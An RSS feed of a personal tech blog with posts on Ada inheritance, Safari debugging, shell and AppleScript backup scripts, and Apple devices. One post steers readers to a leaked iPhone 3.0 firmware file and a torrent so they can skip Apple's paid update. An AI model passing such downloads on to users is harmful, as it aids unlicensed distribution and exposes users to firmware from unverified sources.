<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
		xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Pragmatic Revelations &#187; Call Me a Geek</title>
	<atom:link href="http://adrianhoe.com/adrianhoe/category/call-me-a-geek/feed/" rel="self" type="application/rss+xml" />
	<link>http://adrianhoe.com/adrianhoe</link>
	<description>The Eccentric Logic of An Eclectic Mind</description>
	<lastBuildDate>Sun, 27 Nov 2011 04:24:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
	<copyright>Copyright &#xA9; Pragmatic Revelations 2011 </copyright>
	<managingEditor>mailbox@adrianhoe.com (Pragmatic Revelations)</managingEditor>
	<webMaster>mailbox@adrianhoe.com (Pragmatic Revelations)</webMaster>
	<ttl>28000</ttl>
	<image>
		<url>http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
		<title>Pragmatic Revelations</title>
		<link>http://adrianhoe.com/adrianhoe</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>The Eccentric Logic of An Eclectic Mind</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Society &#38; Culture" />
	<itunes:author>Pragmatic Revelations</itunes:author>
	<itunes:owner>
		<itunes:name>Pragmatic Revelations</itunes:name>
		<itunes:email>mailbox@adrianhoe.com</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://adrianhoe.com/adrianhoe/blog/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<item>
		<title>Ada and Multiple Inheritance</title>
		<link>http://adrianhoe.com/adrianhoe/2011/07/28/ada-and-multiple-inheritance/</link>
		<comments>http://adrianhoe.com/adrianhoe/2011/07/28/ada-and-multiple-inheritance/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 21:24:15 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Inheritance]]></category>
		<category><![CDATA[Multiple Inheritance]]></category>
		<category><![CDATA[Object oriented]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Symmetry]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2423</guid>
		<description><![CDATA[When developing an information system which computes real-life data, one of the most common problems a software developer may encounter is multiple inheritance. Inheritance is one of the four aspects in Object-Oriented Programming (OOP). What is Object-Oriented? Object-oriented technique organizes software as collection of discrete objects incorporate with data structures and behaviors. Take a software that [...]]]></description>
			<content:encoded><![CDATA[<p>When developing an information system which computes real-life data, one of the most common problems a software developer may encounter is multiple inheritance. Inheritance is one of the four aspects in Object-Oriented Programming (OOP).</p>
<p>What is Object-Oriented?</p>
<p>Object-oriented technique organizes software as collection of discrete objects incorporate with data structures and behaviors. Take a software that keeps records of professors and students in a university for instance. Both professor and student are person. These three entities &#8211; <em>professor</em>, <em>student</em> and <em>person</em> are objects. A <em>person</em> has data structure such as name, gender and date of birth to make things simple. Both <em>professor</em> and <em>student</em> share the same data structure of <em>person</em>. A <em>professor</em> has employee number, salary, and room number. And a <em>student</em> has student number, courses and grades. Both <em>professor</em> and <em>student</em> have different behavior: to lecture and to learn respectively. We can let <em>professor</em> and <em>student</em> to inherit the same data structure and behavior from <em>person</em>. <em>Person</em> is superclass. Both <em>professor</em> and <em>student</em> are subclass. Now both <em>professor</em> and <em>student</em> can derive data structure and behavior from superclass <em>person</em> but at the same time, both can preserve their own data structure and behavior as <em>professor</em> and <em>student</em> respectively.</p>
<p>Multiple inheritance is where a subclass inherits from more than one super class. One of the most common problems with multiple inheritance is symmetry. Let subclass <em>D</em> inherits from superclasses <em>B</em> and <em>C</em> which inherit from another superclass <em>A</em>. This is called symmetric multiple inheritance.</p>
<p>Multiple inheritance is rather problematic at linguistic level. Many object-oriented programming languages support multiple inheritance and solve the problems in such a way that usually they cause surprises to their users. In the above example, the operations in <em>A</em> can be derived to <em>B</em> and <em>C</em> and overridden in any other ways by any one of them in <em>D</em>.</p>
<p>Ada provides different approach to implement multiple inheritance by simply not allowing user to get into such problem in the first place and to force the user to break the symmetry.</p>
<p>While I slip deeper into my software design, symmetric multiple inheritance occurs. I have two classes <em>A</em> and <em>B</em> where both of them inherit from object <em>List.Node</em>. Another subclass <em>C</em> inherits both superclass <em>A</em> and <em>B</em>. Ada forces me to break the symmetry by letting <em>C</em> to have a direct inheritance from <em>A</em> plus indirect secondary inheritance of <em>B</em>.</p>
<pre><code>
package List is
   type List is limited private;
   type Access_List is access List;

   type Node is tagged private;
   type Access_Node is access all Node'Class;

private

   type Node is tagged record
      Previous : Access_Node;
      Next       : Access_Node;
   end record;

   type List is limited record
      Head    : Access_Node := null;
      Tail       : Access_Node := null;
      Current : Access_Node := null;
      Count   : Unsigned := 0;
   end record;
end List;
</code></pre>
<pre><code>
   type A is new List.Node with private;

private

   type A is new List.Node with
      record
         Id   : Integer;
         Str  : String ( 1 .. 20 ) ;
      end record;
</code></pre>
<pre><code>
   type B is new List.Node with private;

private

   type B is new List.Node with
      record
         Precision : Float;
      end record;
</code></pre>
<pre><code>
   type C is new A with private;

private

   type C is new A with
      record
         Magic : B;
         Plate   : Integer;
      end record;
</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2011/07/28/ada-and-multiple-inheritance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Android is a dirty phone</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/21/android-is-a-dirty-phone/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/21/android-is-a-dirty-phone/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 04:24:30 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Phones]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[FaceTime]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[sex]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2259</guid>
		<description><![CDATA[Android has been regarded as a savior to those who hate to be controlled and tied down by Apple’s strictly guarded iPhone. It is also one of the competitors closest to iPhone. While Apple’s latest iPhone 4 has a new feature called “FaceTime”, the Android on the other hand gets Sex. FaceTime is a feature [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="Android sex chat" src="http://adrianhoe.com/adrianhoe/images/blog/2010/android-sexchat.jpg" alt="Android sex chat" width="400" height="328" /></p>
<p>Android has been regarded as a savior to those who hate to be controlled and tied down by Apple’s strictly guarded iPhone. It is also one of the competitors closest to iPhone. While Apple’s latest iPhone 4 has a new feature called “FaceTime”, the Android on the other hand gets Sex.</p>
<p>FaceTime is a feature to make video call from iPhone 4 to iPhone 4 over Wi-Fi. No special account or screen name is required to make video calls. Therefore, users can forget about Skype and Apple’s iChat AV. Certainly, FaceTime is a great aide for people with hearing impairment and mute to communicate using sign language.</p>
<p>There are plenty of sex/porn apps for Android devices. There is even an adult-exclusive app store called MiKandi to cater such need. Now the store has reached a new milestone, introducing the first live adult web-cam streaming app for mobile devices called Sex Live Chat. You can read the story <a href="http://www.zdnet.com/blog/perlow/why-android-gets-sex-instead-of-facetime/13456">here</a>. With live sex chat, you can watch the party on the other side engaged in some actions, and vice versa, if you like to. I will let your imagination run wild.</p>
<p>It is pathetic for a brilliant mobile platform to resort to sexual elements to promote its use. This greatly contrasts with Apple’s iDevices where you can find a wild variety of education apps along with useful business and productivity apps, etc, more than you can imagine.</p>
<p>As a parent, I will invest in iDevices for my kids and never an Android device. The latter is well analogized to the pest in our household.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/21/android-is-a-dirty-phone/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>iOS 4.0.1</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/16/ios-4-0-1/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/16/ios-4-0-1/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 05:05:57 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iOS 4]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2237</guid>
		<description><![CDATA[Yesterday, Apple released iOS 4 update, which was one day before its press conference. The iOS 4.0.1 has obviously made the signal bar look taller. According to various media and blogs, the update is reportedly to have new software (new formula) to calculate the signal strength and to display it more accurately. Read here and [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, Apple released iOS 4 update, which was one day before its press conference. The iOS 4.0.1 has obviously made the signal bar look taller. According to various media and blogs, the update is reportedly to have new software (new formula) to calculate the signal strength and to display it more accurately. Read <a href="http://www.cultofmac.com/apple-ships-iphone-4-0-1-update-with-new-reception-formula/51108" target="_blank">here</a> and <a href="http://www.appleinsider.com/articles/10/07/15/inside_apples_changes_to_the_iphones_signal_strength_visual_bars.html" target="_blank">here</a>.</p>
<p><img class="alignleft" title="iPhone 3GS and iOS 4.0.1" src="http://adrianhoe.com/adrianhoe/images/blog/2010/iphone3gs-signal-1.png" alt="iPhone 3GS and iOS 4.0.1" width="129" height="72" /></p>
<p>The above screenshot shows the signal bar on my iPhone 3GS with iOS 4. By comparing with the screenshot below, it is obvious that the signal bar (especially bar 1 and 2) has become taller.</p>
<p><img class="alignleft" title="iPhone 3GS and iOS 4.0.1" src="http://adrianhoe.com/adrianhoe/images/blog/2010/iphone3gs-signal-2.png" alt="iPhone 3GS and iOS 4.0.1" width="140" height="78" /></p>
<p>At the same location (my desk), I covered the back of my iPhone 3GS with my palm, the signal would drop 1 to 3 bars after about 22 seconds. After updating to iOS 4.0.1, I repeated the test. The signal bar would reduce 1 bar after more than 25 seconds.</p>
<p>Well, this is a very low tech test and is not accountable to conclude that the new software in iOS 4.0.1 has displayed the signal strength more accurately. Anyway, there is a huge difference before and after.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/16/ios-4-0-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Catching HTML bugs with Safari 5</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 00:45:28 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2185</guid>
		<description><![CDATA[A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension .THTML. The template does [...]]]></description>
			<content:encoded><![CDATA[<p>A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension <strong>.THTML</strong>. The template does not only contain standard HTML but also tags which are only recognized by AWS (Ada Web Server) . This template file is parsed by the web application (I am developing), which has AWS library, before it is dispatched as raw HTML code to a browser.</p>
<p>In my design, I break down the HTML template into header, body and footer so that I can reuse the common codes in header and footer. That means, all the body templates are without <span style="font-family: Courier;">&lt;html&gt;</span> tag. This missing <span style="font-family: Courier;">&lt;html&gt;</span> tag disables the syntax-coloring feature of code editor, leading to a more laborious code reading.</p>
<p>Before this, I had gone through every line of html source code in the template file umpteen times. This &#8220;obscure&#8221; bug, if not removed, would throw a monkey wrench in my works. I browsed the Internet and read articles in hope that I would get some clues. So, I was reading a few articles about Extensions in Safari 5. Extensions are not really impressive to me as I do not need to add missing functionalities to my browser. Safari itself is more than enough for my daily browsing activities. Somehow, my curiosity had driven me to enable the <strong>Develop</strong> menu in Safari 5. After activating it, I noticed some debugging tools in the menu. I enabled the web inspector by selecting <strong>Show Web Inspector</strong> in the <strong>Develop</strong> menu (Figure 1) then navigated to the web page I wanted to debug. To use these debugging tools, the <strong>Develop</strong> menu must first be activated. <a href="http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/" target="_blank">Here</a> is a simple guide to enabling the menu.</p>
<div class="wp-caption aligncenter" style="width: 410px"><img title="Safari 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-menu.png" alt="Safari 5" width="400" height="214" /><p class="wp-caption-text">Figure 1</p></div>
<p>Safari 5 immediately detected two error messages as shown in Figure 2. These two errors were easily corrected. After removing these unmatched <span style="font-family: Courier;">&lt;/div&gt;</span> tags, my web page still did not show up properly with the intended layout.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect1.png" alt="Safari 5 Show Web Inspector" width="500" height="215" /><p class="wp-caption-text">Figure 2</p></div>
<p>Then I selected the <strong>Elements</strong> tab and it showed me the page source in debugging mode as shown in Figure 3. I instantly spotted the <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag which was supposed to be in the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect2.png" alt="Safari 5 Show Web Inspector" width="500" height="182" /><p class="wp-caption-text">Figure 3</p></div>
<p>I clicked on the little grey triangles in the left pane to expand the <span style="font-family: Courier;">&lt;div id=&#8221;container&#8221;&gt;</span> tag and the <span style="font-family: Courier;">&lt;form&gt;</span> tag. There were two <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tags (labelled as &#8220;1&#8243; in Figure 4) and the one in label &#8220;2&#8243; was supposed to be right after them.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect3.png" alt="Safari 5 Show Web Inspector" width="500" height="225" /><p class="wp-caption-text">Figure 4</p></div>
<p>I checked the source file again and they seemed to be in the correct place. Further investigation finally reviewed that there were two very tiny typos lurking somewhere within the second <span style="font-family: Courier;">&lt;div class=&#8221;data-base-layer&#8221;&gt;</span> tag as shown in Figure 5.</p>
<div class="wp-caption alignnone" style="width: 510px"><img title="Safari 5 Show Web Inspector" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-web-inspect4.png" alt="Safari 5 Show Web Inspector" width="500" height="343" /><p class="wp-caption-text">Figure 5</p></div>
<p>The web inspector in Safari 5 has helped me to identify errors effortlessly. If only I had such inquisitiveness two weeks ago, I would have saved so much time and efforts in debugging my HTML codes. An proverb says: &#8220;Curiosity killed the cat.&#8221; It is not always true, at least in this case. I will say: &#8220;Curiosity saved the donkey.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/08/catching-html-bugs-with-safari-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enable Develop menu in Safari 5</title>
		<link>http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/</link>
		<comments>http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 04:09:17 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Safari]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=2179</guid>
		<description><![CDATA[One of the new features for Safari 5 is the Develop mode. It allows web developers to debug HTML code on Safari. Before you can use this feature, you must enable the Develop menu first. Here&#8217;s how you can do it: Click on Safari menu and select Preferences. In the preferences window, select the Advanced [...]]]></description>
			<content:encoded><![CDATA[<p>One of the new features for Safari 5 is the Develop mode. It allows web developers to debug HTML code on Safari. Before you can use this feature, you must enable the Develop menu first. Here&#8217;s how you can do it:</p>
<p>Click on Safari menu and select Preferences. In the preferences window, select the <strong>Advanced</strong> tab and then click the checkbox for <strong>Show Develop menu in menu bar</strong>.</p>
<p style="text-align: center;"><img class="aligncenter" title="Safari 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-preferences.png" alt="Safari 5" width="400" height="204" /></p>
<p>The Develop menu will then appear in Safari menu bar. Select <strong>Show Web Inspector</strong> to inspect your HTML code. You can also activate extensions support by selecting <strong>Enable Extensions</strong> in Develop menu. Extensions let you add those missing features.</p>
<p style="text-align: center;"><img class="aligncenter" title="Safaru 5" src="http://adrianhoe.com/adrianhoe/images/blog/2010/safari-menu.png" alt="Safari 5" width="400" height="214" /></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2010/07/07/enable-develop-menu-in-safari-5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Automated backup</title>
		<link>http://adrianhoe.com/adrianhoe/2009/09/30/automated-backup/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/09/30/automated-backup/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 04:48:34 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Solaris]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[scp]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1835</guid>
		<description><![CDATA[Since August 18, my software development work has been picking up its pace and I have checked in more works more often, at least five times on single productive day. Ever since, I have been manually backing up Subversion directory using tar. My project server is fornax. Fornax is a 6-year old PC running Ubuntu. [...]]]></description>
			<content:encoded><![CDATA[<p>Since August 18, my software development work has been picking up its pace and I have checked in more works more often, at least five times on single productive day. Ever since, I have been manually backing up Subversion directory using tar. My project server is fornax.</p>
<p>Fornax is a 6-year old PC running Ubuntu. It wasn&#8217;t working properly due to the cooling fan in its power supply unit. Until about two weeks ago, I replaced the old fan. I am not very confident about the replacement because it is a third party part and the replacement isn&#8217;t as good as expected, but it works. I have to shut it down every night before going to bed.</p>
<p>So, the last thing before I go to bed is to backup the svn directory and then shutdown the server. I am quite fed up with this extra manual works. Last night, before going to bed, I decided to automate this process. And I did it this morning.</p>
<p>I wrote a simple bash shell script to do the backup. I <span style="font-family:Courier;">cron</span> it so that the process will start automatically at 2300 hours and then shutdown.</p>
<pre><code>
#!/bin/bash

BACKUPFILE=/tmp/backups/svn-$(date +%Y%m%d).tar.gz

rm /tmp/backups/svn-*.gz
tar -cj /svn &gt; $BACKUPFILE
for COMPUTER in host1 host2
do
   scp $BACKUPFILE user@$COMPUTER:Desktop/
done
/sbin/shutdown -h +5
</code></pre>
<p><strong>UPDATE (05/10/2009)</strong>: I setup a password-less <span style="font-family:Courier;">ssh</span> login so that no password is required for <span style="font-family:Courier;">scp</span> (secured copy). Now, after the backup, the backup file will be copied automatically to two other computers for safe keeping.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/09/30/automated-backup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone 3.0 Software Update</title>
		<link>http://adrianhoe.com/adrianhoe/2009/06/28/iphone-30-software-update/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/06/28/iphone-30-software-update/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 16:26:21 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Gadgets]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[iPod Touch]]></category>
		<category><![CDATA[iTunes]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1776</guid>
		<description><![CDATA[A couple of weeks ago, the iPhone 3.0 software update was official launched. I connected my iPod Touch to iTunes 8.2 and clicked Update. Unfortunately, iTunes said that the update wasn&#8217;t available at iTunes Malaysia store. I wasn&#8217;t very happy with the service Apple has provided. The update was supposed to be free but it [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of weeks ago, the iPhone 3.0 software update was official launched. I connected <a href="http://adrianhoe.com/adrianhoe/2009/01/29/ipod-touch/" target="_blank">my iPod Touch</a> to iTunes 8.2 and clicked Update. Unfortunately, iTunes said that the update wasn&#8217;t available at iTunes Malaysia store. I wasn&#8217;t very happy with the service Apple has provided. The update was supposed to be free but it would cost me US$9.95 to upgrade my iPod Touch to iPhone 3.0.</p>
<p>Here&#8217;s the screenshots (click to enlarge):<span id="more-1776"></span></p>
<p><a href="Javascript:launch('http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-1.png','scrollbars=no,menubar=no,toolbar=no,status=no,width=743,height=454,resizable=no')"><img class="alignnone" title="iPod 3.0" src="http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-1-small.png" alt="" width="400" height="244" /></a></p>
<p>On this page, it says &#8220;iPhone 3.0 Software Update for iPod Touch &#8211; Already have an iPhone? Update it with new features, free.</p>
<p><a href="Javascript:launch('http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-2.png','scrollbars=no,menubar=no,toolbar=no,status=no,width=783,height=494,resizable=no')"><img class="alignnone" title="iPhone 3.0" src="http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-2-small.png" alt="" width="400" height="252" /></a></p>
<p>On the other page, it says &#8220;Download software update. Only US$9.95.&#8221;</p>
<p><img class="alignnone" title="iPhone 3.0" src="http://adrianhoe.com/adrianhoe/images/blog/2009/screenshot-ipod-touch-os-3-0-update-3.png" alt="" width="450" height="358" /></p>
<p>On the page found at Singapore site, it says &#8220;Buy now for $9.95&#8243;</p>
<p>I hate misleading advertisement. I checked various websites and found out that iPhone owners are entitled for free update but the iPod Touch owners are not. What the &#8230;.</p>
<p>I am not going to pay for the f&amp;$@*?# update so I searched the web. I found one blogger from Sarawak has written a blog entry about this. I also found some links to download the free iPhone 3.0 <a href="http://ninezerothree.wordpress.com/2009/06/18/ipod-touch-os-3-0-free-upgrade/" target="_blank">here</a>.</p>
<p>It seems like, according to <a href="http://ninezerothree.wordpress.com/2009/06/18/ipod-touch-os-3-0-free-upgrade/" target="_blank">dzimonotion</a>, Apple has mistaken published a free upgrade for download but the link has been taken down later. Someone was quick enough to discover that and downloaded the free upgrade and sharing it now.</p>
<p>You can download the iPhone 3.0 free upgrade <a href="http://www.felixbruns.de/iPod/firmware/" target="_blank">here</a> or here is a <a href="http://www.mininova.org/tor/2695272" target="_blank">torrent link</a>.</p>
<p>After downloading, connect your iPod Touch and option click the Update button in iTunes (8.2 or later). Look for a .ipsw file and select. The upgrade will begin immediately. The upgrading process will take a while. Do not disconnect your iPod Touch. When the upgrading process is completed, your iPod Touch will reboot. Enjoy!</p>
<p>Now, I can connect a bluetooth stereo headset (I don&#8217;t have one now), I can do copy-cut-paste, etc. Check the Apple website for new features in iPhone 3.0 Update.</p>
<p>Not too long ago, I wrote an article about Apple&#8217;s business practice, <a href="http://adrianhoe.com/adrianhoe/2009/03/13/is-apple-dirty/" target="_blank">Is Apple Dirty?</a> Why iPhone owners are entitled for free upgrade? Why iPod Touch owners are not? Now, you judge.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/06/28/iphone-30-software-update/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Backup your Mac with AppleScript</title>
		<link>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 15:45:50 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[AppleScript]]></category>
		<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1688</guid>
		<description><![CDATA[All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software. Ok. I am lazy. I have been using rsync to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for [...]]]></description>
			<content:encoded><![CDATA[<p>All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software.</p>
<p>Ok. I am lazy. I have been using <span style="font-family:Courier;">rsync</span> to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for almost two years and finally I have gotten lazy over the task.</p>
<p>The thing is, I need to execute the scripts in Terminal every time I want to synch my folders. Of course, I could simply use <span style="font-family:Courier;">cron</span> to automate the tasks at specific time but I ran the risk to cause havoc between the folders on different Macs. It is best not to <span style="font-family:Courier;">cron</span> the task.</p>
<p>So, I learned up AppleScript and after a ten-minute hack, I wrote a nice AppleScripts to do the job. It is quick and dirty.</p>
<pre><code>set debug to false

with timeout of (30 * 60) seconds
	tell application "Terminal"
		set Window_Title to "Sync Documents"
		set Rsync_Cmd to "rsync -acrtv --delete
			/Users/username/Documents/
			username@xxx:Documents"
		set output_doc to do shell script Rsync_Cmd
		choose from list paragraphs of output_doc with prompt
			"Result:" with title Window_Title with empty
			selection allowed
	end tell
end timeout
</code></pre>
<p>Copy the script to <span style="font-family:Courier;">~/Library/Scripts/Applications/Finder</span> and save it as &#8220;sync documents.scpt&#8221;. Then launch Script Editor to edit <span style="font-family:Courier;">username</span> to your login name and <span style="font-family:Courier;">xxx</span> to your Mac IP address or computer name. This script will sync your Documents folder under your user home directory. To execute this AppleScript, at Finder, click on the script icon on the menu bar and select the script to launch.</p>
<p><span style="font-family:Courier;">rsync</span> uses <span style="font-family:Courier;">ssh</span>. If you have not setup a password-less ssh login, you will need <span style="font-family:Courier;">ssh-askpass</span> in <span style="font-family:Courier;">/usr/libexec</span>. Unfortunately, it does not ship with Mac OS X. You can <a href="http://blogs.sun.com/mock/entry/and_now_chicken_of_the" target="_blank">get it</a> at Joe Mocker&#8217;s weblog.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2009/04/17/backup-your-mac-with-applescript/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The new WordPress</title>
		<link>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/</link>
		<comments>http://adrianhoe.com/adrianhoe/2009/03/05/the-new-wordpress/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 03:55:04 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=1526</guid>
